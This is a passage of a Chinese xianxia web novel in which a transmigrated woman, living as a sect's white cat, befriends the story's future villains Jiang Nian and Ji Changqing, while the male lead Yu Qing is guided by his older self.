少年当时意识清醒,还记得买家,一个中流宗门的太上老祖。
郁清细细打量眼前人,首先排除了炉鼎这一选项。
无他,黎川是天之骄子,实力强盛,修为早过了需要采补突破的阶段。
也肯定不是冲他来的,他早已家破人亡,没有亲戚,自然也没什么宝贝东西值得惦念。
郁清长眉拧得更紧了些。
那他到底......是为何而来?
被人上下打量的同时,青年也在观察眼前人。
筑基中期,灵脉杂乱。眼神狠厉,性格阴沉。
放出的神识注意到对方手里握着的东西,他原本无甚表情的脸上添了三分郁色,对眼前少年的评价多加了一条——
不自量力。
真不知道那猫是怎么看上他的。
黎川抬起身侧手掌,五指微拢,那被少年紧紧握在手心的玉佩便不顾主人意愿,腾空飞入了他的手中。
青年拿起这玉,随意扫了几眼,便下了结论:
“玉倒是好玉,只比不上它脖颈上系着的那块云白琉璃。”
“你要送这个给它吗?”
他语气轻飘飘的,却带着毫不掩饰的嘲讽。
不。
甚至说不上嘲讽,因为眼前这位渡劫期的剑尊,压根就没有把他放进眼里过。也是,天上的仙人,哪里会在意地里的蝼蚁呢。
少年藏在背后的手越攥越紧,直到指甲深深嵌入肉里,流出血来。
他的脊背愈发挺直,清醒的疼痛也让他对强大的力量愈发渴望。
见郁清低着头,好似已全然放弃辩白的知趣模样,黎川很满意。
他没再看对方一眼,只转身离开时,随手将玉佩抛了回去,薄唇轻启:
“玉也好,人也罢。”
“宗内天骄辈出,你不会永远是它的例外。”
一语惊醒梦中人,被刻意忽略的事实一股脑浮了出来。
那白猫原是有主的,它的主人是当世剑尊。
郁清的心跳一瞬间加快,他第一次有些控制不住地胡思乱想。
什么叫‘他不会是永远的例外’?是说那只小猫会抛弃他吗?
不可能。
少年几乎是下意识就否定了这个想法。
之前自己那么冷淡的时候毛绒团子都没放弃,它怎么会在自己有所改变之后再放弃呢?
但……郁清倒在床上,骨节分明的手遮挡了艳红的眼尾。
怎么不可能呢?
他修为平庸,孤身一人,又无甚绝世法宝傍身,除了一张还看得过去的脸,再无什么别的优势了。
少年到现在都不明白,那白猫,怎的就对自己另眼相看了。
难不成,他身上有什么它想要的东西?
一想到自己可能还有用,郁清又猛地翻身坐了起来。
劲瘦纤长的十指慢慢攥紧了被褥,他有些止不住的欢喜,又忍不住的忐忑。
喜的是他还有价值,不算是彻底无用。
忧的是会不会有其它人突然出现,代替他原有的那份价值。
郁清一遍一遍安抚着自己,直到天色暗沉,明月当空。
月光还是那样皎洁,只不过不再独独偏爱他。
少年一直坐在床边,等了一夜。
直到天蒙蒙亮,原本安静的弟子舍开始陆陆续续有了嘈杂的声音。
没有来。
从前风雨无阻都要缠着他的猫猫,昨天没来。就连他每日出门时都能在窗边发现的小花,今天也没有。
它真的不要他了。
意识到这个可能后,郁清像是被抽干了浑身精气,再没了那股劲儿的支撑。
见少年一副被抛弃的模样,很长一段时间都没出现的男声再次出现了,这次明显带着些气急败坏:
“你在干什么?为了一只本就不属于你的猫难过?!”
那人原本低沉的声音都拔高了几分:
“我的脸上怎么能出现这么蠢的表情?!”
郁清,准确来说是二十五岁的郁清。
他困在自己十七岁的神识里,破天荒开始反思,当初年轻的时候,他真有这么脆弱吗?
男人的声音带着久居高位的不耐烦:
“要是觉得自己不配,那就用我教你的功法好好修炼。到时候保你一日千里,谁都追不上。”
“永远都是最特殊的例外。”
十七岁的郁清垂着眼,声音带着丝末路尽头的暗哑:
“你不是说我是半妖,要小心隐藏身份,不然暴露了会很麻烦。我这样修炼,难道不会被人察觉?”
二十五岁的郁清桀骜又自信:
“不会,这是我自创的功法。”
“你修炼速度慢,是因为你自出生起就与其他天才修道者拥有的两条灵脉不同,你只有一条灵脉,另外一条是隐藏的妖脉。”
“也就是那些人眼中的混血杂种。”
“用了我的功法,到时候你的妖脉会幻变成灵脉,修炼可事半功倍。”
“再说了”,男人的声音忽然变冷,仿若数九寒冰,“不管你暴不暴露,等你十八岁那年都会很麻烦。”
“为何?”
“因为到时候仙盟大会上会突降天道预言。”
“说你,天生邪骨,不可渡化。”
少年郁清没什么太大的反应,只是很轻的‘哦’了一声,表示自己知道了。
男人有些惊讶,他挑眉问道:
“你不害怕?”
“怕什么?”
“怕众叛亲离、人人喊打,受尽苦楚,苟延残喘。”
“不怕。”
一提到自己的事,刚才还有些波动的少年眉眼变得冷淡,语气平和,“在遇到那只唯一缠着我的小猫之前,我不都是这样过过来的嘛。”
他忽得抬眼,漆黑瞳孔像是锁定了某个人。
“再说,你能熬过的,我为什么不可以。”
男人愣了一瞬,随即笑了起来,他声音越来越大,带着愉悦,像是碰到了同好的疯子,直到少年嫌吵,不耐烦的叫停
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。
“就该是这样”,他尾音还带着笑。
“十七岁的我,就该是这样。”
二十五岁的郁清从莫名其妙进到这具身体起,头一次没了漫不经心,仔仔细细打量起自己当初略显青涩的面孔。
和当初那个略显平庸阴沉的人不同,这次,少年人的眼底写满了对实力的渴望和野心。
他听见了自己的声音,如此清晰:
“既然如此,那从现在开始,你教我那套功法吧。”
“若天不怜我,我便掀了这天,自己去争。”
抬手间便能搅动人妖两族风云的人第一次来了兴趣,应了声:
“好。”
*
一觉睡到中午的姜姒看着空荡荡的枕边,总觉得自己好像忘了什么。
直到一旁的黎川路过时随口问了句:“你今天怎么没采花?”
她才如梦初醒。
靠!
她怎么把这事儿给忘了?!
虽然想的是换个攻略对象,但是考虑到再怎么说也尽量要和男主打好关系,她决定虽然猫猫本身不再找他了,但是每日一朵的小花还是照送不误。
温水煮青蛙,要讲究循序渐进嘛。
但是!
因为昨天攻略计划的出师大捷,她太高兴了,以至于直接嗨到半夜,今天睡!过!头!了!
姜姒猫猫捂脸,捶胸顿足。
往事暗沉不可追,小花也只能明天早上再双倍补上了。
男主应该......不会在意的吧。
自己安慰好自己后,小姑娘重新躺回床上,开始复盘昨天的攻略行动。
毕竟只有认真反思,下次才能更好进步。
时间线拉回到昨日下晚课后。
在路边寒风中蹲了一天的姜姒虽说有保温咒不冷,但长期睁着眼睛不停观察流动路人是真的很累。
原谅她看书囫囵吞枣,记不清原书反派们各自的详细住址,只记得大概方位。
便只能在所有弟子的必经之路上靠概率捞人。
好在功夫不负有心人。
她运气好到爆,在打道回府的路上刚好碰到了一位任务目标。
那是在后山的一片竹林,人迹稀少,除了要绕路的,很少有人发现这个风景秀美又静谧的好地方。
姜姒就是在那里碰到第一个反派的。
其实她一开始并不知道那是任务对象,只是她路过竹林的时候,正好听见里面好像有人在哭。
还是女孩子的哭声。
她一下子拉满警报,想着不会又是什么宗门霸凌事件,都没犹豫,二话不说撒开爪子就冲了进去。
乾坤宗弟子的人身安全由勇敢猫猫守护!
好在对方没碰到什么危险。
姜姒冲进去的时候,只看见一个穿着绿色弟子服的少女坐在一块大石头上,低着头在哭。
她好像胆子很小又很善良,连悲伤都很小声,尽量不打扰别人。
听到脚步声,那人还以为是什么其他人突然闯了进来。
她狼狈的迅速抹掉眼泪,小声说了句‘抱歉’便低着头准备离开。
有些慌乱的脚步在看见那小小的一团毛茸茸时便顿住了。
“是你啊”,明显带着惊喜的声音响在这片竹林里,“那只传说中拿下黎师叔的小白猫。”
看着面前人粉颊上未干的泪痕,姜姒顿了下,随即几步上前,用毛绒绒的额顶轻轻蹭了蹭对方的小腿。
等到少女蹲下来的时候,她又主动把自己的脑袋往那柔嫩的掌心埋去。
蓬松的长尾动作轻柔地抚过对方遍布泪痕的脸颊。
听说人类这种生物,心情不好的时候,摸摸小猫就会开心很多。
努力回忆着前世的科普视频,白色团子又用力挺了挺胸膛——
喏,给你摸摸,这么可爱的女孩子,不要不开心啦。
9. 009
第一次被毛茸茸主动亲近的少女明显有些手足无措。
柔顺温暖的绒毛包裹着她的指尖,湿漉漉的猫眼里只有她一个人的影子。
呼噜呼噜的撒娇声也让原本难过的心情稍稍雀跃。
好......好可爱。
一点也不像通灵镜上传的那样高冷不让摸。
江年心软软,刚想把团子捞进怀里,却又冷不丁想起了之前学堂里那些人说过的话——
“你这样的灾星体质,还是少出现在人前吧,免得把晦气带给大家。”
“就是啊,也不知道仙尊为何会收下你,搞得我们每次比赛都一定会输给别人。”
......
她还记得自己当时很想反驳这些话,张了口,却又不知道该怎么说,最后只能沉默不语。
任由那些人把失败的怨气发泄在她身上。
其实刚开始不是这样的。
那时大部分人都是愿意站出来为她说话撑腰的。
其中有个女孩,长得很可爱,个子小小的,声音却很大很洪亮。每次都会很勇敢的站在她前面,帮她把不好听的话一一怼回去。
她当时真的很开心,这种情绪,持续到一次小组任务后戛然而止。
那次的考核标准是手法正确的取出一只小妖兽的胆汁,所有人都以为那妖兽已经死了,谁也没想到它会于弥留之际突然反扑。
而且目标明确,就是冲着她来的。
她那时不过筑基后期修为,根本就躲不过那妖兽的全力一击。
但她没想到,有人会比死亡,先一步到达身边。
温热的液体溅在她脸侧,睫毛沾了几滴血珠,轻轻一眨眼,视野便被染成了一片红色。
周遭好似被施了禁音术一般,只余下她自己的心跳声。
缓慢,而又沉重。
几息之后,周围人爆发出巨大的惊呼尖叫声。
所有人都手忙脚乱地围了上来。
有人一击斩杀了那苟延残喘着的妖兽,有人把倒下去的女孩抬了起来,有人迅速掏出止血的上品丹药。
都没用了。
江年被挤出最外层,隔着熙攘人群,和那双还没闭上的灰白双眸,遥遥相望最后一眼。
自那之后,再没有人愿意同她说话了,所有人都绕着她走。
虽说最后长老站出来证实了是当初查验妖兽的弟子出了纰漏,她也被永久打上了灾星的称号。
靠近她的好像都会倒霉,无一例外。
少女莹白指尖僵住,她最后一次揉了揉毛团子的头顶,缓缓收回了手,站起身,语调很轻:
“回去吧,时辰不早了。跟我待久了,会变得很倒霉的。”
嗯?
毛绒团子撒娇的动作一顿,自带倒霉buff?
姜姒围着少女慢慢转了一圈,把她浑身上下仔细打量了一番。果不其然,在她腰间看到了一块容易被忽视的,古朴的,黑色小卦盘。
猫猫湿漉漉的眼睛瞬间一亮,挂件正确!
眼前这人应该就是原文里第一个跟着男主郁清单干的,修真世家子弟,江年。
所说是世家子弟,但金陵江家,其实早就是个空壳了。
两百年前那场大战,修士和妖族都死伤无数,关键时刻,是江家老祖带领全族嫡系一百二十一人以身血祭,开启法阵,最后才将那妖王诛杀。
但他们自己也受到了巨大反噬。
老妖王临死前,用自己最后的三分元神起咒——
金陵江家嫡系一脉,人丁凋零,行运不济,必为世人所厌弃遗忘。
姜姒记得,原文里江年黑化的主要原因,就是因为这个诅咒的灵验。
随着大战的结束,幸存下来的修士开始重建家园。
一开始,人们记挂着江家在大战中堪称惨烈的付出,凡是其嫡系遗孤,无论走到哪儿,都会受到尊敬和优待。
但这种情况并未持续太久。
老妖王临死前的诅咒开始慢慢显灵,江家嫡系的人越来越少,而且每个人多霉运缠身,修炼一途异常艰难。
作为一个世家,如果百年来族中都没有出过优秀的嫡系子弟,那么衰退就是它不可避免的结局。
时间会抚平伤痛,同样也会吹散英魂、腐蚀枯骨。
不过区区两百多年,江家就从曾经首屈一指的修真大家慢慢没落,直至江年一代,不过空有个名头。
其实江年是个性格很好的人,平时就算被同门偶尔冷落或者排挤,她也只当是自己倒霉体质的原因。
直到百年一次的宗门大比,她在秘境里和天音阁的人起了口角。
向来平和的人第一次争得面红耳赤,对面那人还不依不饶:
“那霉运体质是你们江家人自己做的选择,又没有人逼着你们必须牺牲。现在就是因为你一个人打乱了整个队伍计划,你难道没错吗?!”
此话一出,不论是浑水摸鱼和稀泥的,还是装模作样劝架的,都愣住了。
少女背脊单薄,定在原地,红着眼,看向安静的人群,一字一句问道:
“你们,都是这样想的?”
其中或许有人想站出来说些什么,但考虑到对方是天音阁的长老嫡传,便又沉默着退回去了。
“好,好,好。”
江年连说了三个好,一字一顿,声声泣血。
“好一个忘恩负义的白眼狼,好一群趋炎附势的修仙者。”少女握着手中阵盘,慢慢往后退,“就当我江家先祖的血祭了狗!若你们这样的人还能得道飞升,便是这修炼一途的莫大笑话!”
手中阵盘飞出,杀阵起,形魂灭。
那是江年第一次大开杀戒,自那之后,她便被下了追杀令,偶被郁清所救后,便暗中为男主所用。
反派个人专属剧情回忆结束。
姜姒有些怔愣,她微微抬头,正对上一双带着疑惑的桃花眼。
小姑娘如今不过十七八的样子,青涩稚嫩得很,不懂怎么掩盖好真实情绪。
就像她刚刚虽催着自己走,眼里却藏着隐隐约约的祈求......和期待。
像是已经很久,都没人为她停留了。
姜姒只看了一眼,转身作势要走,却在身后少女失落的一瞬突然回头,带着满身的暖意跳入了她的怀中。
江年手忙脚乱地接住了飞过来的毛绒团子,脸侧又被轻轻碰了碰。
她一偏头,便落入一片黑亮的星辰之中。
少女双手抱着小猫,稳稳当当的。
像是被诱惑似的,她的脸也顺势埋入了猫猫的长毛之中。
黎川剑尊真的把小猫照顾得很好,明明是立冬时节,怀里的毛茸茸却带着清新的花香。
江年几乎快要忍不住落下泪来,好多年了——
她终于,又遇见了她的繁春。
昨日攻略计划复盘结束。
姜姒满意地在床上翻滚了几圈之后,动力十足地起身下了床。
某只猫猫自信开麦:按照这个速度,说不定要不了多久,她就能顺利拿下原文里的两个超强反派,从此再不用提心吊胆过日子了!
小白猫稍稍整理了下自己的形象,无视了饲主略微幽怨的眼神,昂首阔步地出了洞门。
*
三个月
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后,立春。
事实证明,运气这种虚无缥缈的东西,向来是起起落落落的。一个人若是突然之间走了大运,不用太过欣喜,因为这些好运,后面的日子都是要慢慢还的。
以上所有,是姜姒从冬天等到春天的血泪教训。
又是没蹲到人的一天,小姑娘疲倦地打了个哈欠,走完悄悄送花和陪伴小倒霉蛋的流程之后,她有些迷迷糊糊的往栖寒洲走去。
她半睁着眼,走了好久都没到。猛地反应过来自己走错路了,姜姒吓了个激灵,清醒了。
小姑娘睁大了眼,仔细打量着这个地方。
一大块药田,她绕到灵药峰了?
但这......她又凑近了几步,眼前这些植物好像有些眼熟啊,就连这气味也是......有点上头。
正当她仔细回忆时,一串脚步声渐渐靠近了,与之相伴的,还有若隐若现的几道人声。
不想过多叨扰,姜姒寻了个就近的草丛,躲了进去。
她刚躲好,脚步声就停了,反之说话的声音愈发清晰起来。
“不好意思啊长青师弟,师尊常夸你天赋奇高,如今内院刚刚采购一批奇草,我们粗苯得很,怕弄坏了师尊怪罪,便麻烦你今日多加照看一番了。”
“哼,大师兄,跟季长青客气什么,今日本就轮到他值夜。”
“小师弟说话心直口快了些,师弟切莫放在心上。”
......
季长青冷眼看着面前几人或虚伪,或蛮横地将一个烂摊子三言两语地甩给自己,嗤笑一声,并未言语。
算是沉默着应了下来。
没办法,他要是不干,自己那个师尊定是要修书给他名义上的爹告状。到时候,母亲在季家的日子,便愈发不好过了。
少年垂眸,任由几缕碎发散落,挽起长袖便准备凑近查看那批烫手山芋的生长情况。
才走了几步,一连串突如其来,嗲的不行的猫叫便将他定在了原地。
这里什么时候有了猫?
是妖族奸细,还是......
季长青悄无声息地上前,一柄锋利的小刀不知何时出现在了他的手中。
猛地拨开眼前生长茂盛的草丛,锋利刀刃已高高举起,正将刺下去时,却见
那只是一只摇摇晃晃站不稳的毛团子。
少年手腕一偏,姜姒左边的杂草便被齐根割去了一半。
小姑娘只觉左脸有些凉飕飕的,像是一股微凉的风轻轻抚过,她也没太当回事,拼命睁开眼想看清眼前人是谁。
不怪她,谁能想到这里一片种的都是猫薄荷呢?
人类意志终究还是略微压制了猫猫本能,她才没在刚才那几人说话时就撒丫子冲过去。
而现在,因为眼前这人是从那片猫薄荷重灾区过来的,身上或多或少沾染了些让猫上头的味道。
而这人竟然还待在这里不走!
她快忍不住了。
季长青仔细打量了下眼前的白团子,发现它就是之前通灵镜里疯传的那个毛茸茸。
是黎川剑尊的猫。
他不喜欢猫。
但他也不想得罪人。
少年决定将这猫送回去。
毕竟给黎川留个好印象,到时候对他的计划也有帮助。
刚准备伸手,眼前一花,怀里一暖,那只白猫正表情沉醉地......
啃他衣服?!
季长青此人有很严重的洁癖,他脸色铁青地提溜着猫的后脖颈,决定把奉承黎川的事暂时放在一边。
现在,先让他跟这只鬼迷日眼的白猫好好算算账!
10. 010
账自然是没算成的。
少年最后还是沉着脸,把怀里疯狂挨挨蹭蹭的小猫送回了栖寒洲。
黎川看着扒在别人身上不肯下来的自家团子,本就无甚表情的脸愈发沉郁起来。
他不着痕迹地打量了季长青一眼。
这人虽模样俊秀,但脸色苍白,面中泛青,有郁结于胸,久病缠身之相,但他说话做事又足够端庄知礼,滴水不漏,一看便是那心思深沉之辈。
此人不可深交。
怀里这只笨猫玩不过他的。
心中约莫有了定数,黎川从袖中取出一束灵草,随手递给了季长青,眉眼冷淡,语调平平:
“我观你周身灵力阻塞,想来平日里修炼也颇为艰难。此物是我之前从天水秘境带出的地级草药,可用于疏通和扩张经脉,于你而言,大有益处。”
他说完就转了身,抬步离开时却又像是想起了什么,微一偏头:
“我虽不知你拜入哪位长老名下,但日后若是有人为难,你尽可以来找我。我家这只猫不懂事,做主人的,总是要替它还了恩情。”
季长青拱手弯腰,一派恭敬之色:“仙尊言重,不过举手之劳,哪里谈得上恩情二字。反倒是今日灵草之恩,长青无以为报,日后定会勤加修炼,不负仙尊所望。”
黎川闻言,眸中流出满意之色,没再多说什么,几步便消失在了季长青的视野里。
少年一直面带微笑弯着腰,直到余光里再没了那道清隽人影。
微弯的脊背挺直,他转身,扬起的嘴角瞬间放平。
什么‘替它还了恩情’,不过是暗自警告他以后离那只傻猫远点。
修长瘦削的指尖随意把玩着那束灵草,季长青原本恭谨的神色荡然无存,他挑了挑眉,呢喃自语:
“离远些便离远些,反正我对这种生物也没什么兴趣。”
“不过一只猫而已,哪里比得上这些到手的灵草药重要。”
又仔细确认了一番手中药草的珍惜程度,季长青心满意足地抱着宝贝快步离开了栖寒洲。
生怕黎川反应过来会后悔。
他倒是满意了,次日清醒过来的姜姒却好似被吸干了精气一般,只觉猫生无望。
到底是谁说喝酒会断片儿的?
为什么她们猫猫吸了猫薄荷之后,还会把那些丢脸的事情记得一清二楚啊!
回想起昨夜夹着嗓子撒的娇,迷糊之间啃的衣领,还有理智回笼时黎川那一脸不可言说的微妙表情。
姜姒两眼空空。
让她死吧,她认真的。
小姑娘把自己扭成了条蛆,企图忘记昨天丢猫脸的事实。
忽的,她动作一顿,敏锐捕捉到了一个重要细节,昨天失去意识前,她好像听到了‘季长青’这个名字?
事关反派,姜姒不敢马虎,闭上眼,又仔仔细细回忆了一遍昨天清醒时的残留记忆。
“不好意思啊长青师弟......”
“大师兄你跟季长青客气什么......”
季长青、季长青......
姜姒猛地睁眼,还真是季长青啊。
那个原文里,亲手屠了自己亲爹一族的狠人。
季长青,父亲季隋,是修真大族季家的现任家主,母亲沈芸......是凡间一幼年失怙的无名医女。
而他,则是季家早年不愿承认的私生子。
之所以说早年,是因为那季家主母身子弱,十载春秋间只孕得一女,没有麟儿,而季隋虽风流无度,膝下子女却单薄得很,除了季长青外,竟再无一位男丁。
至此,就算是季家长老再不情愿,也只能捏着鼻子,把沈芸母子从凡间带到了修真界。
起初那小娘子是很开心的,她的郎君没有抛弃她,真的如他当年承诺过的那般,带她过上了锦衣玉食的好日子。
她那时还很年轻,不明白那富贵锦簇的大宅院里,才是这世间最难熬的去处。
季长青那时候不叫这个名字,他叫沈平安。
五岁以前,他跟着娘亲独自生活,日子虽艰难困苦了些,但总是让人心怀期待的。
直到他五岁生辰那日,朝夕旦暮,什么都变了。
一群不认识的人忽然闯到他们家里,不由分说就要带走他,是他哭叫着以死相逼,那些人才不情不愿带上了娘亲。
他们搬到了一个很大很漂亮的屋子里,有人照顾,有新衣服穿,还有一个不认识的男人让他叫爹。
他不想叫,但他也不想要娘亲失望。
毕竟娘亲看起来,真的很喜欢这个地方。
虽然他们见面的次数变少了,但每次他们相见时,娘亲都会很温柔的摸摸他的脑袋,轻声细语叮嘱他不要太累了,这辈子只要平平安安的就好。
他那时就算再怎么委屈,也会拼命咬牙吞下苦楚。
天真的以为,只要忍忍,以后会好起来的。
但没有。
从前没有,以后也不会有。
从踏入季家的那刻起,无论是他还是娘亲,都已经没了选择的余地。
他十三岁那年正式改了名字,上了族谱。
“长青,你以后就叫长青吧。”
满头白发,却依然精神抖擞的老人语调沉沉:
“季家给了你那么多修炼资源,你以后,可要护佑我季家这颗大树,长青不败啊。”
他被迫向不认识的季家先祖下跪,献了三滴心头血。
自那之后,他的日子确实好过许多,有了些许喘气的机会。
他也被送到了乾坤宗,拜了药峰的内门大长老为师。
然而好景不长,十五岁那年,他被人下了毒。
从此经脉滞涩,境界下跌,成了个废人,也成了半颗废棋。
族中长老震怒,下令严查,却什么都没查出来。
此事只好就此揭过。
修真界从不缺拜高踩低之人,也多的是看笑话的旁观者。
人走茶凉,他成了被人排挤,甚至明目张胆欺压的对象。
但这都没让他黑化。
最终逼得他生了心魔,投奔男主阵营的,是沈芸的死。
沈芸死的实在太惨,浑身瘦得只剩下一把骨头。曾经甜美娇俏的面容,也被人恶意泄愤似的划了个稀巴烂。
他的娘亲,唯一真心爱护过他的人,就那么死了。
季家自以为已经掌控好了他,查都不愿意查,只轻飘飘地随手揭过。
他恍惚间甚至还听见有人说:
“这人终于死了,之前还一直嚷嚷着要见她的平安,哪里有什么平安嘛。不给她见还闹着要寻死。”
“要不是家主下了令不准她自杀,谁管她啊,一个没灵力的凡人而已,和他那个废物儿子一模一样。”
平安......她的平安。
季长青只感觉阵阵眩晕,一股难以言喻的毁灭欲涌上心头,少年一言不发,跪着给沈芸整理好了衣领和鬓发,随即双手用力——
很轻松地抱起了这具面目全非的尸体。
不知道什么时候,她变得这么瘦了。
后来的事,姜姒已记不大清了,只依稀记得季长青安葬好沈芸后便去找了男主。
也不知对方到底用了什么法子,短短两年时间,少年就从曾经的废人,一日千里,到最后,亲手将季家嫡系一脉屠杀殆尽,自
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此一战成名。
一个是被诅咒的倒霉蛋,一个是没人爱的私生子。
姜姒长叹口气,怎么两个反派一个比一个惨,加一起都凑不齐个完整的童年。
江年感情细腻,内心敏感,毛茸茸的陪伴对她来说是最好的治愈良药。
但这个季长青......
能在那种吃人的大家族里周旋着长大,想也知道是个不好攻略的。
少女有些头疼,转身时却又蓦得瞥见黎川温润如玉的侧脸,青年眉眼微垂,纤长睫毛投下一片静谧阴影。
姜姒瞬间就有了动力。
果然美色才是第一生产力啊。
小姑娘一边在心里感慨着,一边已经翻身下桌出了门,旁的不说,先找到季长青才能开启计划的第一步。
余光里白色团子兴冲冲的出了门,这次不知又是为了谁。
黎川眼里原本温柔的笑意结了冰,支在下颌处的手慢慢握紧,直到骨节泛起不堪重负的青白。
*
姜姒顺着猫薄荷那股独特又上头的气味慢慢摸到了昨夜那块药田处,理了理毛,想着等会儿给季长青来个惊艳亮相。
结果一到地方,没等着她亮相呢,几道熟悉的声音就先出现在了她耳旁:
“你小子有这好东西还藏着掖着不说呢,哎,你不是已经被季家放弃了吗?这哪儿来的?”
“还用说?不知道又是干了什么勾当得来的呗,跟他那个娘一样!”
“你们说的是......季家主养着的那位?”
“就是她,我娘说了,这种不知天高地厚,只图荣华富贵的女人不会有什么好下场的......”
原本没什么反应的季长青在听到那几人说到自己娘亲身上时,眼神一瞬变得凶狠,五指紧紧陷入泥地里。
他挣扎着起身,趁着所有人都没反应过来时,猛地扑向了正中间那个麻子脸少年,张嘴用力咬住了他的耳朵,力道之大,仿佛要把那只肥耳给撕下来。
“啊啊啊——!!!”
杀猪般的惨叫声从那人嘴里发出,周围呆愣着的几人被这声唤回了神,纷纷冲上去把季长青推到在地,随即七手八脚围上去想查看少年伤势。
麻子脸,也就是陈风,他双手捂住不停流血的右耳,表情狰狞,像是想要大声叱骂,但动作一大,又不免牵扯到他的伤处。
看着趴在泥地里,牙齿染血,眼神狠厉的季长青,他酝酿了半天,最后只酝酿出了一句,“你给我等着,长老不会放过你的!”,便捂着受伤的耳朵脚步匆匆找医师去了。
几个跟班见势不妙,也都狠狠剜了地上那少年一眼,追着他们老大走了。
见季长青浑身是伤的倒在地上,额发凌乱,衣衫狼狈,姜姒一时之间有些犹豫还要不要出去。
毕竟原文里这人最是要强,若是让另外的人看了他这幅样子......
还是等他自己先好好消化一下吧。
小姑娘转身要走,却像是受到了什么不可抗力因素的影响一样,迈出的第一步就踩到了一片枯叶。
发出了‘咔嚓’一声,引得那人偏头看了过来。
“谁?!”
姜姒:......这种剧情为什么发生到了她身上啊!
被发现了,小姑娘有些尴尬,却也不得不硬着头皮转身,慢慢出了灌木丛。
“是你?”
见毛绒团子身上沾着几片枯叶,讨好似的冲他喵了几声,又想起之前黎川对他的警告,季长青只觉有些好笑。
他也没什么太大反应,只感叹似的,声音疲惫:
“你一次我一次——”
“我们扯平了。”
11. 011
少年说完就闭上了眼,浅色的长睫上坠着几滴零星泥点。
他薄唇染血,面颊因刚才的激烈动作而微微泛红。
修长瘦削的十指被地上碎石割出几条细小血痕,他就躺在那里,胸膛起伏微弱,几近于无。
姜姒生怕任务目标出点什么事,她几步上前靠近到那人脸侧,小心翼翼凑近,细细探听起对方的呼吸声。
季长青是闭着眼的,他只感觉像是有一朵云慢慢飘到了他身边,带着好闻的阳光味道和淡淡的花香。
随即而来的,是一阵绒毛蹭过脸颊的触感。
很轻,却让人心痒难耐。
少年几乎是下意识的吞了下口水,喉结上下滚动,惊了姜姒一跳。
季长青装不下去了。
他忍着疼,翻身坐起,语调冷淡地和眼前这只傻猫划清界限:
“不想被丢掉的话,离我远点。”
顿了下,他不知出于何种心理,又鬼使神差地补了句:
“毕竟你家主人警告过我,让我不要带着你瞎混。”
黎川警告过他?
姜姒有些不信,高岭之花怎么会干这种事呢。
毛绒团子歪了歪头,佯装听不懂,只当对方是随意找个借口敷衍她罢了。
季长青看着姜姒脸上茫然无辜的蠢样,猛地反应过来自己刚才和一只听不懂人话的猫说了半天废话。
他嗤笑出声,低声自语:“还真是被那些蠢货传染了,在这儿和一只猫浪费时间。”
少年自嘲似的摇了摇头,单手撑地准备起身,不知何处传来的一阵钻心疼痛却忽得止住了他的动作。
“嘶——”
季长青无意识的倒吸一口凉气,低头看向了自己的脚踝,顺着他的目光,姜姒也看了过去,只见原本苍白的脚腕处肿起好大一个包。
淤血汇集,青青紫紫的,看着就疼。
一般来说,灵药峰的弟子们随身都会携带一些丹药,以备不时之需。
但季长青是个例外,他很少带着丹药出门。
那些治疗效果好,材料珍稀的上品丹药都被他好好收在了房里。毕竟这些东西若是放在弟子舍,还能有执法堂和管事弟子的保护。
若是带出门了,绝对留不住的。
他从袖中摸出一个黑色瓷瓶,倒出一颗棕色小药丸后看也没看就吞了下去。
最基础的回元丹,就连洒扫弟子都人手一瓶,活血化瘀可以,止痛不行。
药效开始发作,他脸色逐渐变得苍白,豆大的汗珠顺着挺直鼻梁滑落,慢慢浸湿了衣襟。
少年微微仰头,数条青筋暴起,十指紧攥,骨节发白。
忽得,正沉默着忍痛的人被毛茸茸的爪子轻轻碰了一下。
季长青一愣,还是微微垂眸——
只见毛绒团子眼神着急又担心,正努力把一个玉白剔透的瓷瓶往他这边推,一边推,一边示意他快打开。
他其实不想打开的。
黎川已经警告过他了,尽量少和这只猫再有什么牵扯。
但它这样着急的神色实在是太熟悉了,熟悉到让他有些恍惚。反应过来时,他已经拿起了那个瓷瓶。
那猫眼睛瞬间就亮了,像是原本漆黑的夜里忽得有了无数星辰。
季长青不知为何,有些想笑。
少年唇角微翘,顺从本心,抬手,拔出了木塞。
草药的清香扑面而来,原本意志昏沉的脑袋也多了几分清醒。他随意瞥了一眼,果然是好东西——
丹药粒粒圆润饱满,灵力充足外溢,其上更是整整齐齐印刻了九道丹纹。
剑尊......还真是出手大方啊。
不知怎的,季长青心中,兀自有了那么一丝说不清道不明的异样之感。
刻意忽略掉这种奇怪的感觉,少年倒出一颗吞入喉中。
这药入口即化,几乎是瞬间就起了效果。
钻心疼痛如潮水般退下,随即而来的是一股暖洋洋的舒适感。
“多谢。”
季长青有些别扭的憋出这一句,又想起这猫是听不懂人话的,便伸了手,想去揉揉它的脑袋以示谢意。
但这伸出去的手,却停在了半空之中。
那猫一身雪白绒毛,蓬松又干净,反观他的手,血液混着汗水,两者极不相配。
少年抿了抿唇,抬起的手准备放下。
但在他缩手的前一秒,姜姒主动踮了踮脚,往前一凑,把毛绒脑袋主动送到了对方手里。
季长青愣住了。
手心里温热的触感一如当年。
他微微低头,那白猫湿漉漉的眼睛带着明显的期待意味盯着他,好似催着他快点摸摸。
往事瞬间浮上心头。
那些他以为早就忘了的事,其实一直,刻骨铭心。
没回季家之前,他养过一只兔子,那小兔子很温顺,又亲人,是他一手喂大的,养得白白胖胖,看起来特别可爱讨喜。
那时候大人们很忙,只有兔子陪着他,度过一个又一个漫长无聊的白天。
到了季家之后,负责教他修炼入道的长老收了他的兔子,说要他专心修炼,不可玩物丧志,等他引气入体、筑基成功之后再把兔子还给他。
他想着反正还能再见到自己的兔子,娘亲也常教导他要听话,他便真的傻乎乎将那兔子交了出去。
等他三个月后真的筑基成功,满心欢喜地去找那长老要回兔子时,高大强壮的男人只笑着告诉他:
“家主吩咐,兔子这种绵软无能的东西不是少主您该豢养的,若您真的想要宠物,季家兽珍阁里有许多实力强大的妖兽,您或许可以去那里看看。”
季长青第一次顶撞了自己名义上的父亲。
小小少年红着眼眶,声音嘶哑:
“把我的兔子......我的兔子......还给我!”
他换来的是又急又重的一巴掌。
被当众忤逆的男人语调森冷:
“兔子?早被我扔给什么野狗吃了。”
“我说了,季家的少主,不能养这种上不了台面的东西!”
吃了......吃了......
胃里开始翻腾,压制不住的呕吐欲望涌上喉头,小少年踉跄着跪倒在地,吐了个天翻地覆。
自那以后,再提起毛茸茸的东西时,他总会有一种强烈的抵触感。
以前还以为是单纯的讨厌,季长青眼底划过一抹冷淡的讽意,现在看来,是他那个恶心爹
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做的好事。
他说怎么看那只猫猫的眼睛有股强烈的熟悉感。
当年......那只傻兔子也是这么看着他的。
